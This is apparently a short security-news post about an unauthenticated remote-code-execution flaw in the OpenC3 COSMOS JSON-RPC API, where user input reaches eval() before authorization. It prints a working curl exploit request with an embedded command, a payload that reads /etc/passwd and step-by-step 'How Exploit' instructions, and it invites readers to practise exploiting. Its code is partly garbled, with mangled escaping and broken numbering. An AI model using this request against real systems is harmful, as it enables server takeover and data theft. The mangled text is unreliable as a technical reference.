Listen to this Post
This vulnerability exists within the JSON-RPC API endpoint of OpenC3 COSMOS. When handling certain API requests, user-supplied parameters passed as strings are processed by the `Stringconvert_to_value` Ruby method. For inputs structured as arrays (e.g., "[system('id')]"), this method internally calls `eval()` on the untrusted string content to convert it to a Ruby array object. Crucially, within the command (cmd) execution flow, this parsing and subsequent `eval()` call occur before the request undergoes authorization via the `authorize()` method. Therefore, an unauthenticated network request containing malicious Ruby code in specific parameters will trigger remote code execution on the server. The request will eventually be rejected with a 401 Unauthorized error, but the attacker’s payload will have already been executed via the `eval()` call during the initial parsing phase.
Platform: OpenC3 COSMOS
Version: Multiple versions
Vulnerability: Unauthenticated RCE
Severity: Critical
date: Jan 13 2026
Prediction: Patch expected Jan 20 2026
What Undercode Say:
Analytics:
curl -X POST http://target:2900/api \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"cmd","params":["{\"cmd\":\"[\<code>id\\</code>]\"}"],"id":1}'
Simulating vulnerable Stringconvert_to_value param = "[<code>cat /etc/passwd</code>]" result = param.convert_to_value Internally calls eval()
How Exploit:
1. Identify target OpenC3 API endpoint.
- Craft JSON-RPC request with `method` set to
"cmd". - Embed Ruby backtick command execution within array-format string parameter.
4. Send unauthenticated POST request to trigger `eval()`.
Protection from this CVE:
1. Immediate upgrade to patched version upon release.
2. Implement strict input validation before parsing.
3. Isolate API network access.
Impact:
Complete system compromise, data exfiltration, persistent access.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
